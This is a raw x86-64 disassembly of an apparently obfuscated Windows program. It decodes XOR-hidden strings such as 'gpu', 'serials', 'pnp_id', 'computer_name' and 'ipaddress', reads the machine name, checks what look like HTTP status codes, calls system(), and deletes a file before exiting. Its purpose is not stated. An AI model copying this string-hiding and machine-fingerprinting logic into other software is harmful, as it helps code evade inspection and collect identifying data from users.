movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x7ff62735d8d1
cmp r8d, 0x2f
jge 0x7ff62735da1f
movsxd rax, r8d
lea r9, [rsp + 0xa8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x7ff62735d9f0
lea rax, [0x7ff627493240]
mov qword [rsp + 0xd8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xf0], xmm1
lea rax, [rsp + 0xa8]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735da50
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0xe0]
call fcn.7ff627395700
lea rax, [0x7ff627493250]
mov qword [rsp + 0xd8], rax
xor edx, edx
mov r8d, 0x2c0
lea rcx, [rsp + 0x4e0]
call fcn.7ff62745d7a0
lea rcx, [rsp + 0x4e0]
call fcn.7ff627458800
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x4e0]
call fcn.7ff6274597c0
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x4e0]
call fcn.7ff627459640
mov rdx, rsi
lea rcx, [rsp + 0x4e0]
call fcn.7ff6274596a0
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x4e0]
call fcn.7ff627459790
lea rdx, [rsp + 0x7c0]
lea rcx, [rsp + 0x4e0]
call fcn.7ff6274590d0
nop
lea rcx, [rsp + 0x4e0]
call fcn.7ff627396bd0
nop
lea rcx, [rsp + 0xe0]
call fcn.7ff627392b40
nop
lea rcx, [rsp + 0x108]
call fcn.7ff627392b40
nop
lea r9, [fcn.7ff627390df0]
mov esi, 1
mov r8d, esi
lea edx, [rsi + 0x1f]
lea rcx, [rsp + 0x498]
call fcn.7ff62745754c
nop
mov r8, qword [rsp + 0x900]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x900]
call fcn.7ff62739b480
lea edx, [rsi + 0x5f]
mov rcx, qword [rsp + 0x900]
call fcn.7ff627457864
nop
lea r9, [fcn.7ff62735c3d0]
mov r8d, esi
lea edx, [rsi + 0x3f]
lea rcx, [rsp + 0x180]
call fcn.7ff62745754c
cmp dword [rsp + 0x858], 0
je 0x7ff62735de1b
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov r8, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x38]
call fcn.7ff62735fcd0
movzx ecx, byte [rax]
test cl, cl
je 0x7ff62735dbcf
xor cl, 0x30
mov byte [rax], cl
mov rdx, rax
mov rcx, r8
call fcn.7ff627393e80
mov r10, rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rsp + 0x24]
call fcn.7ff627393c20
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x20]
call fcn.7ff62735ae00
mov rdx, rax
mov rcx, r10
call fcn.7ff627393d80
mov r8, rax
lea rdx, [rsp + 0x440]
call fcn.7ff62735fce0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x7ff62735dc3d
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rdx, rax
mov rcx, r8
call fcn.7ff627393e80
mov r10, rax
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rsp + 0x24]
call fcn.7ff627393c20
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x60]
call fcn.7ff62735ae00
mov rdx, rax
mov rcx, r10
call fcn.7ff627393d80
mov r10, rax
lea rdx, [rsp + 0x68]
call fcn.7ff62735fd00
mov r9, rax
cmp byte [rax + 0x3c], 0
je 0x7ff62735de0b
cmp edi, 2
jl 0x7ff62735ddd2
movdqa xmm5, xmmword [0x7ff6274a44b0]
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm6, xmmword [0x7ff6274a44d0]
movdqa xmm0, xmmword [0x7ff6274a45c0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x38
jl 0x7ff62735dcd0
cmp eax, 0x3d
jge 0x7ff62735de0b
movsxd r8, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x3d
jl 0x7ff62735dde0
mov rdx, r9
mov rcx, r10
call fcn.7ff627393e80
jmp 0x7ff62735fc66
mov eax, dword [rsp + 0x7d0]
cmp eax, 0xc8
jne 0x7ff62735de32
mov byte [0x7ff6274c2df5], 1
jmp 0x7ff62735dea4
cmp eax, 0x190
jne 0x7ff62735f9f7
mov byte [0x7ff6274c2df5], 0
lea r8, [rsp + 0x7d8]
cmp qword [rsp + 0x7f0], 0xf
cmova r8, qword [rsp + 0x7d8]
add r8, qword [rsp + 0x7e8]
lea rdx, [rsp + 0x7d8]
cmp qword [rsp + 0x7f0], 0xf
cmova rdx, qword [rsp + 0x7d8]
lea rcx, [rsp + 0x68]
call fcn.7ff6273943a0
mov rdx, rax
lea rcx, [0x7ff6274be3f8]
call fcn.7ff627390970
lea rcx, [rsp + 0x68]
call fcn.7ff627357a90
nop
lea rcx, [rsp + 0x7c0]
call fcn.7ff62735c420
nop
mov r8, qword [rsp + 0x458]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x458]
call fcn.7ff62739b480
mov edx, 0x60
mov rcx, qword [rsp + 0x458]
call fcn.7ff627457864
nop
mov r8, qword [rsp + 0x478]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x478]
lea rcx, [rsp + 0x478]
call fcn.7ff62739b480
mov edx, 0x60
mov rcx, qword [rsp + 0x478]
call fcn.7ff627457864
nop
cmp byte [0x7ff6274c2df5], 0
jne 0x7ff62735e50f
movzx eax, word [0x7ff62749f100]
mov word [rsp + 0x38], ax
cmp byte [0x7ff62749f101], 0
je 0x7ff62735df46
mov byte [rsp + 0x38], 0xa
xor byte [rsp + 0x39], 0x31
lea rdx, [rsp + 0x38]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393e80
mov word [rsp + 0x24], 0xffff
mov byte [rsp + 0x26], 0
lea rdx, [rsp + 0x24]
mov rcx, rax
call fcn.7ff627393d80
mov ecx, dword [0x7ff627496610]
mov dword [rsp + 0x440], ecx
movzx ecx, word [0x7ff627496614]
mov word [rsp + 0x444], cx
mov byte [rsp + 0x440], 0x20
xor byte [rsp + 0x441], 0x31
xor byte [rsp + 0x442], 0x32
xor byte [rsp + 0x443], 0x33
xor cl, 0x34
mov byte [rsp + 0x444], cl
xor byte [rsp + 0x445], 0x35
lea rdx, [rsp + 0x440]
mov rcx, rax
call fcn.7ff627393e80
mov word [rsp + 0x24], 0xffff
mov byte [rsp + 0x26], 0xff
lea rdx, [rsp + 0x24]
mov rcx, rax
call fcn.7ff627393d80
mov r10, rax
movsd xmm0, qword [0x7ff62749ff00]
movsd qword [rsp + 0x28], xmm0
mov ecx, dword [0x7ff62749ff08]
mov dword [rsp + 0x30], ecx
movzx ecx, word [0x7ff62749ff0c]
mov word [rsp + 0x34], cx
cmp byte [0x7ff62749ff0d], 0
je 0x7ff62735e16f
mov r8d, ebx
cmp edi, 2
jl 0x7ff62735e129
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm2, xmmword [0x7ff6274a44b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff6274a44d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
mov eax, dword [0x7ff6274a45c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x7ff62749ff00]
xorps xmm2, xmm0
movd dword [rsp + 0x28], xmm2
movdqa xmm3, xmmword [0x7ff6274a44c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff6274a44d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c]
xorps xmm2, xmm1
movd dword [rsp + 0x2c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x28]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x7ff62735e140
lea rdx, [rsp + 0x28]
mov rcx, r10
call fcn.7ff627393e80
movzx ecx, word [0x7ff62749f100]
mov word [rsp + 0x20], cx
cmp byte [0x7ff62749f101], 0
je 0x7ff62735e19b
mov byte [rsp + 0x20], 0xa
xor byte [rsp + 0x21], 0x31
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.7ff627393e80
lea rdx, [0x7ff6274be418]
lea rcx, [rsp + 0x68]
call fcn.7ff627390f00
mov rdx, rax
call fcn.7ff6273ae660
test al, al
je 0x7ff62735e274
lea r8, [0x7ff6274be418]
lea rdx, [0x7ff627494290]
lea rcx, [rsp + 0xa8]
call fcn.7ff627393bb0
nop
lea r8, [0x7ff627494288]
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.7ff627393960
nop
lea r8, [0x7ff6274be418]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.7ff6273939d0
nop
lea r8, [0x7ff627494284]
mov rdx, rax
lea rcx, [rsp + 0x498]
call fcn.7ff627393960
nop
lea rcx, [rsp + 0x68]
call fcn.7ff627390df0
nop
lea rcx, [rsp + 0x140]
call fcn.7ff627390df0
nop
lea rcx, [rsp + 0xa8]
call fcn.7ff627390df0
lea rcx, [rsp + 0x498]
call fcn.7ff627390bf0
mov rcx, rax
call qword [sym.imp.ucrtbase.dll_system]
call fcn.7ff62735ace0
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll_exit]
int3
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov r8, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x20]
call fcn.7ff62735fd50
movzx ecx, byte [rax + 1]
test cl, cl
je 0x7ff62735e2a1
xor byte [rax], 0x30
xor cl, 0x31
mov byte [rax + 1], cl
mov rdx, rax
mov rcx, r8
call fcn.7ff627393e80
mov r10, rax
xor r9d, r9d
mov edx, 0xff
mov r8d, edx
lea rcx, [rsp + 0x24]
call fcn.7ff627393c20
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x60]
call fcn.7ff62735ae00
mov rdx, rax
mov rcx, r10
call fcn.7ff627393d80
mov r8, rax
lea rdx, [rsp + 0x440]
call fcn.7ff62735fd60
movzx ecx, byte [rax + 5]
test cl, cl
je 0x7ff62735e30f
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rdx, rax
mov rcx, r8
call fcn.7ff627393e80
mov r10, rax
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rsp + 0x24]
call fcn.7ff627393c20
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x38]
call fcn.7ff62735ae00
mov rdx, rax
mov rcx, r10
call fcn.7ff627393d80
mov r10, rax
lea rdx, [rsp + 0x180]
call fcn.7ff62735fd80
mov r9, rax
cmp byte [rax + 0x49], 0
je 0x7ff62735e4db
cmp edi, 2
jl 0x7ff62735e4a2
movdqa xmm5, xmmword [0x7ff6274a44b0]
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm6, xmmword [0x7ff6274a44d0]
movdqa xmm0, xmmword [0x7ff6274a45c0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x48
jl 0x7ff62735e3a0
cmp eax, 0x4a
jge 0x7ff62735e4db
movsxd r8, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x4a
jl 0x7ff62735e4b0
mov rdx, r9
mov rcx, r10
call fcn.7ff627393e80
lea rcx, [0x7ff6274be418]
call fcn.7ff627390bf0
mov rcx, rax
call qword [sym.imp.ucrtbase.dll_remove]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
mov ecx, esi
call qword [sym.imp.ucrtbase.dll_exit]
int3
lea rcx, [0x7ff6274be3d8]
call fcn.7ff6273b0280
xorps xmm0, xmm0
movups xmmword [rsp + 0x468], xmm0
mov byte [rsp + 0x440], 0x38
mov al, 0x5f
mov cl, 0x59
mov dl, 0x55
mov r8b, 0x5d
xor r9d, r9d
xor al, 0x38
mov byte [rsp + 0x441], al
xor cl, 0x38
mov byte [rsp + 0x442], cl
xor dl, 0x38
mov byte [rsp + 0x443], dl
xor r8b, 0x38
mov byte [rsp + 0x444], r8b
mov byte [rsp + 0x445], r9b
mov byte [rsp + 0x448], 0x6f
xor al, al
mov cl, 0x1b
mov dl, 7
mov r8b, 0xa
mov r9b, 0x1d
mov r10b, 0x1c
xor r11d, r11d
xor al, 0x6f
mov byte [rsp + 0x449], al
xor cl, 0x6f
mov byte [rsp + 0x44a], cl
xor dl, 0x6f
mov byte [rsp + 0x44b], dl
xor r8b, 0x6f
mov byte [rsp + 0x44c], r8b
xor r9b, 0x6f
mov byte [rsp + 0x44d], r9b
xor r10b, 0x6f
mov byte [rsp + 0x44e], r10b
mov byte [rsp + 0x44f], r11b
movups xmmword [rsp + 0x4e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x4f0], xmm1
lea rax, [rsp + 0x441]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r11b
jne 0x7ff62735e5f0
lea rdx, [rsp + 0x441]
lea rcx, [rsp + 0x4e0]
call fcn.7ff627395700
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x500], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x510], xmm1
lea rax, [rsp + 0x449]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735e631
lea rdx, [rsp + 0x449]
lea rcx, [rsp + 0x500]
call fcn.7ff627395700
nop
mov byte [rsp + 0x28], 0x6b
mov al, 0x1d
mov cl, 0xe
mov dl, 0x19
mov r8b, 0x18
mov r9b, 2
mov r10b, 4
mov r11b, 5
xor edi, edi
xor al, 0x6b
mov byte [rsp + 0x29], al
xor cl, 0x6b
mov byte [rsp + 0x2a], cl
xor dl, 0x6b
mov byte [rsp + 0x2b], dl
xor r8b, 0x6b
mov byte [rsp + 0x2c], r8b
xor r9b, 0x6b
mov byte [rsp + 0x2d], r9b
xor r10b, 0x6b
mov byte [rsp + 0x2e], r10b
xor r11b, 0x6b
mov byte [rsp + 0x2f], r11b
mov byte [rsp + 0x30], dil
xorps xmm0, xmm0
movups xmmword [rsp + 0x520], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x530], xmm1
lea rax, [rsp + 0x29]
mov r8, r13
inc r8
cmp byte [rax + r8], dil
jne 0x7ff62735e6c6
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x520]
call fcn.7ff627395700
nop
lea rdx, [0x7ff6274c3328]
lea rcx, [rsp + 0x540]
call fcn.7ff627390f00
nop
mov byte [rsp + 0x440], 0xa
mov al, 0x6d
mov cl, 0x7a
mov dl, 0x7f
xor r8d, r8d
xor al, 0xa
mov byte [rsp + 0x441], al
xor cl, 0xa
mov byte [rsp + 0x442], cl
xor dl, 0xa
mov byte [rsp + 0x443], dl
mov byte [rsp + 0x444], r8b
lea rcx, [rsp + 0x100]
call fcn.7ff6273ac040
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x560], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x570], xmm1
lea rax, [rsp + 0x441]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735e760
lea rdx, [rsp + 0x441]
lea rcx, [rsp + 0x560]
call fcn.7ff627395700
xorps xmm0, xmm0
movups xmmword [rsp + 0x580], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x590], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x580], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x590], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov byte [rsp + 0x28], 0x71
mov al, 2
mov cl, 0x14
mov dl, 3
mov r8b, 0x18
mov r9b, 0x10
mov r10b, 0x1d
movzx r11d, al
xor edi, edi
xor al, 0x71
mov byte [rsp + 0x29], al
xor cl, 0x71
mov byte [rsp + 0x2a], cl
xor dl, 0x71
mov byte [rsp + 0x2b], dl
xor r8b, 0x71
mov byte [rsp + 0x2c], r8b
xor r9b, 0x71
mov byte [rsp + 0x2d], r9b
xor r10b, 0x71
mov byte [rsp + 0x2e], r10b
xor r11b, 0x71
mov byte [rsp + 0x2f], r11b
mov byte [rsp + 0x30], dil
lea rcx, [rsp + 0xd8]
call fcn.7ff6273abdf0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x5a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5b0], xmm1
lea rax, [rsp + 0x29]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735e842
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x5a0]
call fcn.7ff627395700
xorps xmm0, xmm0
movups xmmword [rsp + 0x5c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5d0], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x5c0], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x5d0], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov byte [rsp + 0x448], 0x17
mov al, 0x67
mov cl, 0x79
movzx edx, al
mov r8b, 0x48
mov r9b, 0x7e
mov r10b, 0x73
xor r11d, r11d
xor al, 0x17
mov byte [rsp + 0x449], al
xor cl, 0x17
mov byte [rsp + 0x44a], cl
xor dl, 0x17
mov byte [rsp + 0x44b], dl
xor r8b, 0x17
mov byte [rsp + 0x44c], r8b
xor r9b, 0x17
mov byte [rsp + 0x44d], r9b
xor r10b, 0x17
mov byte [rsp + 0x44e], r10b
mov byte [rsp + 0x44f], r11b
lea rcx, [rsp + 0x498]
call fcn.7ff6273ac5e0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x5e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5f0], xmm1
lea rax, [rsp + 0x449]
nop
inc r13
cmp byte [rax + r13], 0
jne 0x7ff62735e930
mov r8, r13
lea rdx, [rsp + 0x449]
lea rcx, [rsp + 0x5e0]
call fcn.7ff627395700
xorps xmm0, xmm0
movups xmmword [rsp + 0x600], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x610], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x600], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x610], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov byte [rsp + 0x28], 0x59
mov al, 0x3a
mov cl, 0x36
mov dl, 0x34
mov r8b, 0x29
mov r9b, 0x2c
mov r10b, 0x2d
mov r11b, 0x3c
mov dil, 0x2b
mov sil, 6
mov r14b, 0x37
mov r15b, 0x38
movzx r12d, dl
movzx r13d, r11b
xor ebx, ebx
xor al, 0x59
mov byte [rsp + 0x29], al
xor cl, 0x59
mov byte [rsp + 0x2a], cl
xor dl, 0x59
mov byte [rsp + 0x2b], dl
xor r8b, 0x59
mov byte [rsp + 0x2c], r8b
xor r9b, 0x59
mov byte [rsp + 0x2d], r9b
xor r10b, 0x59
mov byte [rsp + 0x2e], r10b
xor r11b, 0x59
mov byte [rsp + 0x2f], r11b
xor dil, 0x59
mov byte [rsp + 0x30], dil
xor sil, 0x59
mov byte [rsp + 0x31], sil
xor r14b, 0x59
mov byte [rsp + 0x32], r14b
xor r15b, 0x59
mov byte [rsp + 0x33], r15b
xor r12b, 0x59
mov byte [rsp + 0x34], r12b
xor r13b, 0x59
mov byte [rsp + 0x35], r13b
mov byte [rsp + 0x36], bl
mov dword [rsp + 0x440], 0x10
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x900]
call qword [sym.imp.kernel32.dll_GetComputerNameA]
test eax, eax
je 0x7ff62735fca3
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x900]
mov r14, 0xffffffffffffffff
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x7ff62735ea80
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x40]
call fcn.7ff627395700
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x620], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x630], xmm1
lea rax, [rsp + 0x29]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735eac0
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x620]
call fcn.7ff627395700
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x640], xmm1
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x650], xmm0
movdqa xmm1, xmmword [0x7ff6274a44a0]
movdqu xmmword [rsp + 0x50], xmm1
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x28], 3
mov al, 0x6a
mov cl, 0x73
mov dl, 0x62
mov r8b, 0x67
movzx r9d, r8b
mov r10b, 0x71
mov r11b, 0x66
mov dil, 0x70
movzx esi, dil
xor r15d, r15d
xor al, 3
mov byte [rsp + 0x29], al
xor cl, 3
mov byte [rsp + 0x2a], cl
xor dl, 3
mov byte [rsp + 0x2b], dl
xor r8b, 3
mov byte [rsp + 0x2c], r8b
xor r9b, 3
mov byte [rsp + 0x2d], r9b
xor r10b, 3
mov byte [rsp + 0x2e], r10b
xor r11b, 3
mov byte [rsp + 0x2f], r11b
xor dil, 3
mov byte [rsp + 0x30], dil
xor sil, 3
mov byte [rsp + 0x31], sil
mov byte [rsp + 0x32], r15b
xorps xmm0, xmm0
movups xmmword [rsp + 0x660], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x670], xmm1
lea rax, [rsp + 0x29]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x7ff62735eba0
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x660]
call fcn.7ff627395700
nop
lea rdx, [0x7ff6274be398]
lea rcx, [rsp + 0x680]
call fcn.7ff627390f00
nop
mov byte [rsp + 0x440], 0x14
mov al, 0x7a
mov cl, 0x75
mov dl, 0x79
mov r8b, 0x71
xor r9d, r9d
xor al, 0x14
mov byte [rsp + 0x441], al
xor cl, 0x14
mov byte [rsp + 0x442], cl
xor dl, 0x14
mov byte [rsp + 0x443], dl
xor r8b, 0x14
mov byte [rsp + 0x444], r8b
mov byte [rsp + 0x445], r9b
xorps xmm0, xmm0
movups xmmword [rsp + 0x6a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6b0], xmm1
lea rax, [rsp + 0x441]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x7ff62735ec40
lea rdx, [rsp + 0x441]
lea rcx, [rsp + 0x6a0]
call fcn.7ff627395700
nop
lea rdx, [0x7ff6274c2f80]
lea rcx, [rsp + 0x6c0]
call fcn.7ff627390f00
nop
